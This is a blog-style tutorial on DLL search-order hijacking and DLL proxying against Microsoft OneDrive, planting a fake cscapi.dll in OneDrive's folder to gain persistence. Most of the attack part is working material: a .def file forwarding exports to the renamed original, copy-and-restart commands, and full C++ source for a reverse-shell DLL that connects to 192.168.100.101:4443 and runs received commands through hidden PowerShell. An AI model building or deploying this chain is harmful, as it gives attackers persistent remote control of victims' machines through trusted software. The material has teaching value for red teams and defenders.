DLL Hijacking — OneDrive

Hussain
8 min readAug 29, 2023

I plan to perform DLL Hijacking chaining with DLL Proxying on a target DLL that the onedrive application loads in order to utilize its functions.

Setup:

  1. Linux environment(Attacker)
  • Python
  • netcat

2. Windows environment(Target)

  • Disabled windows defender
  • Compromised using initial access
  • OneDrive Installed
  • MinGW-w64 compiler
  • Microsoft SysInternals Suite

Link to download the SysInternals Suite:

Link to download the MinGW Compilers:

Follow the below tutorial to install and setup the mingw compilers on your windows machine:

Overview on DLL Hijacking

DLL hijacking is a method used by malicious actors to exploit the loading process of a program by replacing a legitimate DLL with a malicious one. This occurs when the program searches for its required DLL file in various locations specified by the "PATH" environmental variable. By strategically placing a file with the same name as the targeted DLL in a location where the program checks but does not find its original DLL, the malicious DLL is loaded instead. This is called DLL Search Order Hijacking. Once loaded, the malicious code within the DLL can be executed effectively.

Read more about it here:

Method and working

Before setting the attack target on OneDrive, let’s first try to understand the workings of this method. We are going to start by writing a loader program, whose sole function is to load a specified DLL.

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {

LPCSTR dll_name;

// exception
if (argc < 2) {
printf("[!] Run : dll-loader.exe <file.dll>\n");
return 1;
}

// get parsed file
dll_name = argv[1];
printf("[*] Loading : %s...\n", dll_name);

// load dll
HMODULE hDll;
hDll = LoadLibraryA(dll_name);

return 0;

}

This program simply asks for the name of the DLL to load as an argument and passes it into the function LoadLibraryA to load the DLL into the address space of the process. You can read more about it from the following link:

Compile the program from the command below:

gcc -o dll-loader.exe .\dll-loader.c

Before execution, initiate ‘Process Monitor’ (Procmon) and add the following entries click on apply to filter out irrelevant events.

Now execute the loader with any random DLL name and observe Procmon.

.\dll-loader.exe test.dll

We are aware that test.dll is not located anywhere in the system. Our loader first looks for the DLL in its own directory location, and then systematically checks for the DLL in every directory specified in the PATH environmental variable.

Now, we are going to write a simple DLL that displays a message box with our custom message as soon as the library is loaded into the process.

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID LpReserved) {
switch(dwReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "HIJACKED!!", "Alert", MB_ICONEXCLAMATION | MB_OK);
break;
}

return TRUE;
}

This is a simple DLL which, when loaded by a process, displays a message box on the screen. You can learn more about this function and how to customize it from the following link:

Read further on the basics of creating a DLL file here:

Compile and execute the program:

gcc -shared -o test.dll test.c
.\dll-loader.exe test.dll

The loader first looks for the DLL in its own directory, and since we compiled it in the same directory, it loads the DLL, resulting in the message box popping up.

Attacking OneDrive

Now we can attempt to make the actual application behave similarly. I chose OneDrive because it is preinstalled in most Windows operating systems and is often set up as a startup application. These features make it a suitable target for persistence.

1. Finding the Target DLL

To monitor processes on a Windows machine, Microsoft provides a utility called “Procmon.” It is part of the “Sysinternals suite”.

To initiate the monitoring process, run the “Procmon” application with administrative privileges. Ensure that you start it as an administrator to access all the necessary system information and perform comprehensive process monitoring.

Follow the steps given below to list down all the potential target dlls:

  1. Click on the filter icon to pop up the “Process Monitor Filter” box.

2. Add the below listed entries to filter out the irrelevant process entries.

The final entry is where we place the home folder of the OneDrive application.

3. Click apply and start the OneDrive program.

We will be targeting cscapi.dll for this task and placing our malicious DLL in the OneDrive's home folder, renaming it to cscapi.dll. This will deceive the program into loading our DLL.

2. Loading the DLL

We will use the same DLL that we used earlier to display the message box. By renaming it to cscapi.dll and copying it to the home folder of the OneDrive application, we can proceed.

OneDrive’s Home Folder: C:\Users\target\AppData\Local\Microsoft\OneDrive

cp .\test.dll C:\Users\target\AppData\Local\Microsoft\OneDrive\cscapi.dll

Now lets kill the existing onedrive process and restart it.

taskkill.exe /im onedrive.exe /f
& "C:\Users\target\AppData\Local\Microsoft\OneDrive\OneDrive.exe"

3. Proxy the DLL

The DLL files contain essential functions that programs use to provide various functionalities. In the above example, when the OneDrive application loads our hijacked DLL, it also calls functions that were originally present but now fail due to the hijacking. As a result, many programs crash or exhibit abnormal behavior, leaving an indication that something malicious is occurring. To counteract this behavior, we can write our DLL in a way that it acts as a proxy for the original DLL’s functions, essentially creating a man-in-the-middle scenario.

First, let’s extract all the exported functions from the original DLL using a tool provided within the MinGW suite called gendef.exe.

This tool can parse all the exported functions and save them into a file with the .def extension. Copy the original cscapi.dll file into your working folder and execute the program on it.

Original cscapi.dll location: C:\Windows\System32\cscapi.dll

Let’s add these function definitions to our malicious DLL in a way that the function calls are proxied to the original DLL.

Make these changes to the generated .def file.

EXPORTS
CscNetApiGetInterface=cscapii.CscNetApiGetInterface
CscSearchApiGetInterface=cscapii.CscSearchApiGetInterface
OfflineFilesEnable=cscapii.OfflineFilesEnable
OfflineFilesGetShareCachingMode=cscapii.OfflineFilesGetShareCachingMode
OfflineFilesQueryStatus=cscapii.OfflineFilesQueryStatus
OfflineFilesQueryStatusEx=cscapii.OfflineFilesQueryStatusEx
OfflineFilesStart=cscapii.OfflineFilesStart

Compile it using the command below

gcc -shared -o test.dll test.c cscapi.def -s

We can verify the function by again using the gendef.exe tool.

Now, what we are going to do is copy our crafted malicious DLL and the original DLL into the home directory of OneDrive. We will rename the original DLL to cscapii.dll with double 'i's and name our malicious DLL as cscapi.dll. This will deceive the program into loading our manipulated DLL and proxying every function call to cscapii.dll, which is our original DLL.

It calls the original DLL as well.

4. Getting a Reverse Shell

Now all that’s left is to add the shellcode or our own reverse shell code into the DLL.

I have hardcoded a reverse shell code into the DLL, which executes as soon as the library is loaded.

#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string>
#include <cstdio>

//#pragma comment(lib, "ws2_32.lib")

extern "C" __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
return FALSE;
}

std::string ip = "192.168.100.101";
int port = 4443;
std::string prompt = "PS Shell $ ";

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
{
WSACleanup();
return FALSE;
}

sockaddr_in serverAddress{};
serverAddress.sin_family = AF_INET;
serverAddress.sin_port = htons(port);
inet_pton(AF_INET, ip.c_str(), &(serverAddress.sin_addr));

while (true)
{
if (connect(sock, reinterpret_cast<sockaddr*>(&serverAddress), sizeof(serverAddress)) != SOCKET_ERROR)
{
break;
}
}

while (true)
{
send(sock, prompt.c_str(), prompt.length(), 0);

char recvBuffer[1024];
int bytesRead = recv(sock, recvBuffer, sizeof(recvBuffer) - 1, 0);
if (bytesRead <= 0)
{
break;
}

recvBuffer[bytesRead] = '\0';

std::string args(recvBuffer);

FILE* pipe = _popen(("powershell.exe -WindowStyle Hidden /c " + args).c_str(), "r");
if (pipe != nullptr)
{
std::string cmdResult;
char buffer[128];

while (fgets(buffer, sizeof(buffer), pipe) != nullptr)
{
cmdResult += buffer;
}

_pclose(pipe);

send(sock, cmdResult.c_str(), cmdResult.length(), 0);
}
}

closesocket(sock);
WSACleanup();

break;
}
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

Compile the program.

g++ -shared -o cscapi.dll rev.cpp cscapi.def -lws2_32

Now copy the compiled DLL into OneDrive’s home folder. Terminate any already running OneDeives’ processes. Set up the listener on the target machine and then restart the OneDrive application.

We got our shell.

What I’ve noticed is that every time the DLL loads, OneDrive also doesn’t start as the execution flow doesn’t allow it, preventing the function proxy from taking place. To counter this, we can write the DLL in a way that it creates a separate thread to perform the malicious actions, allowing the program flow to continue.

--

--